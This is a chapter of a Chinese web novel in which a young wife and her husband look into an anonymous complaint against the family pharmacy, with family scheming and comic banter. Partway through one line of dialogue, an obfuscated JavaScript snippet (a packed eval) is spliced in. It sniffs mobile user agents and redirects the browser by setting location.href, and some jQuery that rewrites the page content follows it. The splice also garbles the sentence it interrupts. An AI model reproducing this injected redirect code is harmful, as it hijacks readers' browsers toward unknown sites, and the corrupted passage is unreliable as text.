傍晚，李家西院，王氏居所。
帘外寒风微动，烛影摇曳。堂内王氏端坐于高背椅上，神色微沉，听完两人的回禀后，眉间微蹙，语气中带着些许不悦：“所以，这一整日过去了，举报信的事毫无进展，反倒惹来了衙门的注意？”
任白芷低眉顺眼，恭敬地点了点头，旋即又心生几分不安，这话似乎责怪她办事不力。
王氏见状，长叹一声，摆手道：“罢了，终究十贯钱不是人人都能挣的。”话音未落，她蓦然转眸，目光带着几分意味深长，“十贯呢，素问，要不——”
未等她说完，任白芷已然如她所料般急忙站起，连声道：“别、别！其实也并非毫无头绪。”她飞快地瞥了李林竹一眼，随即硬着头皮继续道，“咱们收到的举报信与衙门那边的，略有两处不同。其一，衙门的信件送达时间比咱们晚了一日；其二，衙门那封并非手写。”
她一口气将之前两人的分析尽数道出，话音未落便察觉到李林竹微不可察地叹了口气，抬手揉了揉额头。那副无可奈何的模样，像是在感叹她终究靠不住。
罢了，母亲虽然为人强势，但洞察人心，想来也藏不住多久。李林竹暗自想到，便没有阻止。
王氏听闻，脸上未显轻松：“所以呢？”
“前一点尚无定论，但第二点，已有些猜测。”任白芷见李林竹默许，胆子便大了几分，“寄信之人既然不愿暴露笔迹，便说明他的字迹极易被人认出。若如此推断，这人必是药铺中笔迹常被熟识之人。而店里，平日里落笔最多的，唯有两位医师。”
王氏略作思索，面色凝重，迟疑着转向李林竹：“怀义？”
李林竹微微颔首，眼中透出一抹认同。
见王氏似乎已认可推测，任白芷连忙补充道：“至于动机，还需再查，因此我们才未敢急于禀报。”她心中暗自祈祷，这十贯钱的好事千万别因旁人插手而黄了。
王氏却嗤笑一声，目露几分不屑：“这动机还需查？怀义早就对我偏袒陆家两兄弟不满。他师父临终嘱托，让我尽力满足陆二对药铺的需求。熟药之事，他不知与我争执了多少次，可陆二坚持不让步，我又能如何？”
任白芷闻言愣住，神色间满是困惑。李林竹见状，替母亲解释道：“颜怀义的师父是我父亲，而陆二叔是我父亲的义兄。去年起，二人因熟药存货的问题争执不下。这些熟药的收益，直接关系到他们二人的分红。”
“熟药存货？”任白芷眉头一挑，显然对这个陌生词汇不甚了解。
李林竹耐着性子解释道：“西街药铺的熟药分两类：一是应急类，如止血散、跌打膏、烧伤药；二是常用类，多为治疗风寒的药物，比如李家的招牌药——疏风散。”
“哦，我明白了！颜医师擅长风寒类药物，所以更倾向于多备常用药，而陆医师则相反？”任白芷推测。
“不全对。”李林竹摇头道，“应急熟药难以保存，需求量也不稳定；而风寒类熟药不仅易储存，且需求随季节变动，十分可控。就收益而言，风寒类自然优于应急类。然而应急药既名‘应急’，便是性命攸关时所需之物，若无存货，后果不堪设想。所以，即便赔本，我家药铺也从不缺应急熟药。”
“可既然如此，两者备齐不就好了吗？这有什么争执的？”任白芷不解。
李林竹无奈瞥了她一眼，低声道：“有空往金银铺跑，还不如多了解了解夫家的药铺事务。”
见任白芷拼命给他使眼色，他才收回戏谑之意，正色道：“朝廷早有禁令，限制民间贩卖熟药。我娘费了不少心力，才保住三成的熟药权。也就是说，熟药存量不得高于药材总量的三成。”
王氏叹道：“在西街那家药铺，应急熟药占六成；在咱们这儿，占三成；而你大伯的铺子，应急熟药不到一成。谁愿意亏本做生意呢？”
听到此处，任白芷终于明白了，“难怪颜医师会不满。原本能赚一千两，却因比例限制只能赚三百两，这换了谁都会心生怨怼。”
王氏点了点头，随后话锋一转：“但即便如此，他也不该把事情闹到衙门去。闹大了，李家的名声也不好听。”
“还有别的线索么？”王氏语气中带着几分急切。
任白芷略显犹豫，摸了摸后脑勺试探着开口：“倒是有一个关于账本造假的线索。我发现今年账本上的盈利金额，比实际盈利金额高出了四十贯。”
这话一出口，王氏眼中闪过一抹惊色，立刻追问：“你如何得知？”
任白芷简单解释了一番自己如何通过回收的部分凭证，再结合往年的历史数据，估算出实际收益金额。
她说得条理清晰，但王氏听完后却眉头紧锁：“仅凭三成凭证？怕是预估得过于粗糙了吧。”
任白芷正想解释，从概率学的角度看，三成数据点已足够支撑推论，但想到若要细讲，还需从概率论和高斯分布开始，麻烦得很，她索性点点头，笑着附和：“是有些粗略。”
王氏低头沉思，片刻后抬起头，目光在两人之间游走，显然心中已有计较：“衙门那边我会安排人去疏通。任氏，你继续暗中查清这举报信的来源。”
“是。”任白芷微微颔首，应声道。
王氏又转向李林竹，语气稍缓：“竹儿，既然是熟药比例的矛盾，那举报信中所指‘以次充好’，想来也不是说的生药。明日你陪任氏去店里，把所有熟药，尤其是应急熟药，逐一清点。”
李林竹闻言点头，沉声答道：“孩儿明白。”
王氏微微颔首，语气沉稳却不容置疑：“还有，无论查出什么，以药铺名声为先。”
任家西院，夜已深，烛火摇曳。
任白芷二人从太太处回到自己房间，推开门，便见蔓菁正倚在窗边，手持一卷书，细细摩挲着页角。
见自家大娘子进屋，蔓菁眼中浮现一丝笑意，合上书，站起身道：“大娘子回来了。”
“蔓菁！你提前回来了？”任白芷眼中一亮，三步并作两步走上前，拽住蔓菁的手臂，语气里掩不住的欣喜。
“嗯。”蔓菁浅笑点头，心中不免得意，自己回归让大娘子这般欢喜。
“那太好了！”任白芷雀跃道，“明日一早，你便随我去药铺，将药铺里众人的笔迹一一收集来。”说罢，神情认真，显然早已心中有数。
蔓菁微愣，不知前因后果，但还是乖乖应道：“是。”
一旁的李林竹正端坐品茶，闻言抬眸淡淡道：“刚才娘不是说，不可声张？”
“我当然知道。”任白芷眼珠一转，笑得像只偷腥的狐狸，“所以到时候，就让蔓菁假借名义——说我为备孕祈求龙凤胎，特让大家各写一个‘好’字相赠。”
“龙凤胎？”李林竹眉毛一挑，嘴角止不住地上扬，轻笑道，“你是要拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15041350|162542||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这些‘好’字与举报信上‘以次充好’的‘好’字比对吧？可你这理由，未免太……”
“不露痕迹。”任白芷自然地接过话，眉眼间是十足的得意。
李林竹忍不住大笑出声，“没脸没皮才是。”
“你就是嫉妒我想出这么妙的法子！”任白芷撇撇嘴，一脸不屑。
话锋一转，她神秘兮兮地凑近，“对了，你猜，今日到药铺查案的衙门中人是谁？”
“你认识？”李林竹果然上钩，眸中染上几分好奇。
“唔，勉强算得上吧。”任白芷卖了个关子，欲擒故纵。
谁知李林竹不过片刻便笃定道：“神保观那次，你搭讪的那个捕快？”
任白芷瞪大双眼，心中惊讶，“你怎么知道？”
“上次你说他腰间佩刀，我便猜他是衙门中人。”李林竹摊摊手，笑道，“佩刀之人，除了军中武将，便是捕快。”
这小子有点厉害啊，只听旁人片语，就能推理出大概。任白芷暗自叹服。
“不过话说回来，”李林竹顿了顿，若有所思，“那日你遭遇贼匪，就遇见了他，未免太巧合了。”
“我也觉得怪怪的。”任白芷点点头，“你说他是不是借着这举报信的由头，故意接近我？”
李林竹闻言一怔，随即毫不客气地笑出了声，“原来你这狐狸不仅对我自恋，对别人也不遑多让。”
“说什么呢！”任白芷一脚踢向他，谁知他早有防备，轻巧一避，“我是觉得他可能想从我这里打探人贩子的事。”
“哦，这倒是个正经猜测。”李林竹点头应允，但依旧笑意未褪，“不过你说话那语气，着实让人误以为他对你情有独钟。”
一旁的蔓菁见状，忍不住为自家大娘子打抱不平，接口道：“我们家大娘子，才貌双全，窈窕淑女，君子好逑也是常事。”
李林竹听闻，更是大笑出声，“窈窕倒是有，淑女可不敢苟同。”
任白芷气得双颊泛红，冷笑道：“哦，是么？某人还以为自家的东西，是偷……唔！”
话未说完，李林竹便眼疾手快地捂住了她的嘴巴，眼神中带着几分威胁，“你敢说出去试试？”
任白芷忙摇头，李林竹这才放开她。
“你要是再敢说我，我就……”武力值落下风的任白芷气鼓鼓地威胁道。
“你就怎样？”李林竹不依不饶地盯着她问。
“我就诅咒你孤寡一辈子！”
李林竹闻言，先是一愣，随后笑得前仰后合，“哎呀，这诅咒怕是要落空，我已经娶过了妻。”
任白芷反应过来，顿时补充道：“那就一辈子娶不到除我以外的人！”
话一出口，蔓菁也跟着噗嗤一声笑了出来，“大娘子这诅咒，倒像是在吃醋呢。”
李林竹笑得更欢，前仆后仰，“原来你这狐狸早已对我倾心，怪我愚钝，如今才察觉。”
任白芷气急，怎么跟这人吵嘴，永远都占下风！
她脸颊涨红，直接下了逐客令，“蔓菁，送客！”
蔓菁还欲调侃，被任白芷狠狠一瞪，赶紧低头闭嘴。
李林竹见状，不忘再添一把火，“罢了罢了，我明日还要早起，便不打扰了。不过蔓菁，你可得每日打水，让你家大娘子沐浴，她懒得很。”
……
这日子，不离，真是没法过了。